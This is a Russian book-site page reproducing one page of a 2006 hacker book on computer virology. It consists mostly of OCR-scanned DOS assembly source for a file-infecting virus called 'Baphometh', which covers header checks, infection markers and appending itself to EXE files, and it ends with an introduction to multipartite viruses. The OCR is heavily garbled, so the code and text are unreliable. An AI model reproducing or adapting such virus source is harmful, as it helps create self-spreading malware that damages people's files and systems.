Книги
чёрным по белому
Главное меню
Главная О нас Добавить материал Поиск по сайту Карта книг Карта сайта
Книги
Археология Архитектура Бизнес Биология Ветеринария Военная промышленность География Геология Гороскоп Дизайн Журналы Инженерия Информационные ресурсы Искусство История Компьютерная литература Криптология Кулинария Культура Лингвистика Математика Медицина Менеджмент Металлургия Минералогия Музыка Научная литература Нумизматика Образование Охота Педагогика Политика Промышленные производства Психология Путеводители Религия Рыбалка Садоводство Саморазвитие Семиотика Социология Спорт Столярное дело Строительство Техника Туризм Фантастика Физика Футурология Химия Художественная литература Экология Экономика Электроника Энергетика Этика Юриспруденция
Новые книги
Цуканов Б.И. "Время в психике человека" (Медицина)

Суворов С. "Танк Т-64. Первенец танков 2-го поколения " (Военная промышленность)

Нестеров В.А. "Основы проэктирования ракет класса воздух- воздух и авиационных катапульных установок для них" (Военная промышленность)

Фогль Б. "101 вопрос, который задала бы ваша кошка своему ветеринару если бы умела говорить" (Ветеринария)

Яблоков Н.П. "Криминалистика" (Юриспруденция)
Реклама

Азбука хакера 3. Компьютерная вирусология - Собейкис В.Г.

Собейкис В.Г. Азбука хакера 3. Компьютерная вирусология — М.: Майор, 2006. — 512 c.
ISBN 5-98551-013-1
Скачать (прямая ссылка): hakeriazbukahakera2006.djvu
Предыдущая << 1 .. 73 74 75 76 77 78 < 79 > 80 81 82 83 84 85 .. 123 >> Следующая

lea si,[bp+Header];копируем 3 оригинальных байта назад
movdi,100h
movsw
movsb
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
pushlOOh ;и прыгаем к 100h (точка входа для com) ret
NewUmp db 0e9h,0,0 ; некоторые вариации
WeAredbEXE ;первоначальноЬарГю компилируется в ЕХЕ-файл
V\fr)DotCom db 'c\windows\wiri.corn',0 ;путь некоторых важных
;файлов
HsflopDotPdr db t:\v"rxjQ^\systern\iosubsys\hsflop.pdr'10
RestoreEXE .восстанавливаем ехе-файл
lea si, [bp+OriginalJP] ;копируем значение из originaljp в
leadi.Ibp+OldJPJ ;oWJp
mowcx.4
repmovsw
popesds
i
movax.es ;ax=PSP
add ax, 10h ;ax + 10(параграфов)=адрес обреза кода/данных
add word ptr cs:[bp+Old_CS],ax ;подстраиваем относительные значения CS
di
add ax,word ptr cs:[bp+Otd_SS] .xSS mcwss,ax
mcv sp.word ptr cs:[bp+Otd_SP] .восстанавливаем SP sti
dbOeah ;прыгаем к точке входа оригинального ЕХЕ-файла OidJPdw?
OWCSdw?
Od_SSdw?
Od_SPdw?
OrigirtalJP cfcv offset Dummyfiie
ГЛАВА 6. Инфицирование загрузочного сектора
Original_CS dw О OriginalSSdwO Original_SP dw OFFFEh
InfectEXE: подпрограмма для инфицирования ЕХЕ-файла
cmp word ptr cs: [Header-H 8h],40h '.проверка, имеется ли новый
;ехе-файл
jb NoNewEXE
jmp CloseFile ;если да, то выход, потому что вирус не может ;
инфицировать NE/PE/LE-файлы NoNewEXE:
cmp word ptr cs:[Header+12h],'DT ;чек на инфекцию jne EXENotfetlnfected
jmp CloseFile
EXENoffetlnfected: .если еще не инфицирован, сохраняем
;SS, SP.
mov byte ptr cs:[WeAre],EXE ; IP и CS, затем отмечаем ;файл как
зараженный
mov word ptr cs:[Header+12h],'DT
mov ax,word ptr cs:[Header+OEh]
mov word ptr cs: [Original_SS] ,ax
mov ax,word ptr cs: [Header* 10h]
mov word ptr cs:[Original_SP],ax
mov ax,word ptr cs: [Header* 14ft]
mov word ptr cs:[Otiginal_IP],ax
mov ax,word ptr cs:[Header+16h]
mov word ptr cs:[Original_CS],ax
mov ax,word ptr cs:[Header*4] ;эта подпрограмма проверяет,
;был ли файл
cmpvwxdptrcs:[Heeder+2],0 .-перекрыт при расчете
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
,-размера из заголовка и jeNoRemainder2 ;сравнении его с реальным
размером файла dec ах ;если они не совпад ают, файл считается
NoRemainder2: .перекрытым и не инфиц ируется mcvcx,512 mulcx
add ах,word ptr cs: [Header+2] adcdx.0
movwoid ptr cs:[HeSizB],ax mov word ptrcs:[FBeSize+2],dx movax,4202h
ХОГСХ.СХ
xordx.dK Bit 21 h
cmp wordptr cs:[FSeSize],ax je MightHaweNoOuertays jmp CloseFile
t
MightHaveNoOverlays: cmp word ptr cs:[FfeStze+2],dx je HasNoOverlays jmp
CloseFile
HasNoOveriays: ;если оверлеи не имеются, процесс заражения push ах dx ;
продолжается здесь
add ах,EndOfBaphometh - StartOfBaphometh ;рассчитываем
;новый размер
adc dx.O ;файла (старый размер * код вируса)
mcvcx.512
ГЛАВА 6. Инфицирование загрузочного сектора
drvcx cmpdx,0 jeNoRemainder inc ах
NoRemartder
mov word pfcr cs: [Header+4] ,ax .сохраняем новый размер файла
mov wad ptr cs:[Header+2],dx
popdxax ; рассчитываем новую точку входа
movcx,16
drvcx
add dx, offset ReEntryPoint mov cx,wond ptr cs:[Header+8] subax,cx
mov word pfrcs:[Header+16h],ax ;оахраняем новые CS.IRSS.SP mov word
pfrcs:[Header+14h],dx mov word ptrcs:[Header+Oeh],ax mov word
pfrcs:[Header+10h],0fffeh
leacfi,[ENUNS-5] ;при инфицировании ЕХЕ-файла вирус xoral,al гудаляет
строку ENUNS, иначе система может
movcx,5 ;эависнутъ repstosb
mov ah,40h ;прикрепляем baphometh к файлу
lea dx,StartOfBaphometh mov cx,EndOfBaphometh - StartOfBaphometh int 21 h
movax,4200h
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
ХОГСХ.СХ
xordx,dx
int21h .переходим к началу
movah,40h ;и переписываем старый заголовок нашим патчем lea dx, Header
movcx,1Ch int 21 h
jmpCtoseRte выполнено
DummyRle: ;это "дутый" файл, который выполняется только mov ax,4C00h ;при
первом выполнении вируса int 21 h
db$BAPHOMETH$',0,'v1',0,'~CAD! /AVM /СВ
ORG 1529 db 'ENUNS'
ENUNS dw ?
EndOf Baphometh:
Baphometh ends end FileEntryPoint
Конец исходного кода вируса...........
Глава 7. Многоцелевые вирусы
Многоцелевые вирусы способны заражать не только загрузочные секторы, но и
файлы на гибких и жестких дисках. Например, стандартным многоцелевым
вирусом будет СОМ/EXE/BS/ MBR-инфектор. У подобных вирусов имеется
несколько преимуществ: быстрое распространение, сохранение
работоспособности инфицированных файлов и значительные трудности в
удалении подобных ин-фекторов.
Перед обсуждением многоцелевых вирусов мы еще немного поговорим о
формате, в котором данные сохраняются на жестких и гибких дисках. Этот
формат называется "физическим сектором". Он образуется священной троицей
CHS (Cylinder\ Head, Sector - цилиндр, головка, сектор).
"Треком" называется круг, описываемый "головкой" на "стороне" жесткого
диска.
"Цилиндром" называются все треки одного и того же радиуса на жестком
диске (которые располагаются под одной головкой). Обычно жесткий диск
имеет от 32 до 1024 цилиндров (или треков на стороне). Количество треков
является определенным числом, которое не может быть модифицировано (оно
задается характеристиками движка жесткого диска).
Предыдущая << 1 .. 73 74 75 76 77 78 < 79 > 80 81 82 83 84 85 .. 123 >> Следующая